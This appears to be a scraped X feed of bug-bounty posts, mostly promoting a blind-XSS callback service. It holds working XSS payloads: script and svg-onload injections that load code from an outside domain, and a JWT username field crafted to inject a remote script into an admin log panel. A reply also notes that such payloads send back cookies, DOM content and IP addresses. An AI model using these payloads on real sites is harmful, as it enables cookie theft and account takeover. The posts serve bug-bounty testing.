XSS Report

The official X account for the project. Please use the link on the website as a contact

[XSS Report @XssReport]

Couldn’t sleep, so I bought https://t.co/uVCBeEwMLN.
Guess we’re doing this now. 😄
#bugbounty #infosec #xss

[XSS Report @XssReport]

@omer_ckaplan Hello, if this is abuse, please use the contact page on the website.

[XSS Report @XssReport]

Because of the reporting XSS for application/json...

[XSS Report @XssReport]

they didn't like us :( the XSS v8 researchers are sad.

[Ivan at Wallarm / API security solution @d0znpp]

Looking for security researcher with great public profile. Remote. API / AI exploits focus on novel techniques. No XSSers please ;) reply here or DM. Please repost

[XSS Report @XssReport]

@bytes_Knight Enable screenshot in your account settings.

[Mike Masanga @Mike07Masanga]

@OreoB1scuit @Freyxfi @intigriti Th victim is the admin page which is vulnerable to xss if it is vulnerable to xss a notification comes (containing the cookie, Dom elememts,ip,the website and path) if you use an online platform like https://t.co/DxLJx8BOwp for the payloads this is blind xss by the way

[numan turle @numanturle]

You can easily test your XSS payloads with this 3-character domain name.

<script src='//㉛.st'>
<svg/onload=import('//㉛.st')>
#xss @xssreport

[XSS Report @XssReport]

Users who have obtained VIP access for testing can now use a 4-character domain name, excluding the username.

You will be able to access more with the additional features we will be introducing soon.

We have special surprises coming soon that we will be announcing.

[XSS Report @XssReport]

Our 5-character domain is now open to select users! Only 5 slots left. Don’t miss, send us a DM! #xss #BugBounty

[XSS Report @XssReport]

@0xNaeem send username to dm :)

[XSS Report @XssReport]

Our 5-character domain is now open to select users! Only 5 slots left. Don’t miss, send us a DM! #xss #BugBounty

[XSS Report @XssReport]

You know well where the payload is. it's just a click away and it's free. it's not a dream just a click away.

https://t.co/BbA7gO0Av1

[Intigriti @intigriti]

🔁 Blind XSS: The invisible injection point and delayed execution make them an easily overlooked vulnerability... 🧐

Yet, they still have a severe impact on any organisation! 🤠

In our technical article, we documented our methodology for finding blind XSS vulnerabilities, including a few cool payloads you could try next time you're testing a target for blind XSS!

Link in post below! 👇

[XSS Report @XssReport]

After sending requests, the error logs started reflecting my payload.
1 hour later… I heard the @xssreport Telegram notification sound.

And yes, it triggered.
XSS achieved. 🎯
#bugbounty #infosec #xss

[XSS Report @XssReport]

🚨 Sharing an unbelievable XSS scenario.
Why? Because @XSSReport users know XSS is not just an alert(1), it's an art.

One of our followers analyzed the architecture, studied the attack surface, and came up with this 👇

[XSS Report @XssReport]

At this point, I thought:
What if these logs are being processed in a private panel? 🤔 So I crafted this JWT payload:

{
"username": "test3rbb'\"><script src=https://t.co/GGlzDEogxU></script>",
"guid": "bd874709-aac7-485a-a46d-6e33964ea930",
"iat": 1754042605
}

[XSS Report @XssReport]

🔥 XSS pros, what’s your secret to finding hidden endpoints? 🕵️‍♂️
#xss #BugBounty #bugbountytips

[XSS Report @XssReport]

@01xsheet @ynsmroztas We will announce this feature soon!

[Ryan Barnett (B0N3) @ryancbarnett]

Full list here: https://t.co/9nVWGSotSS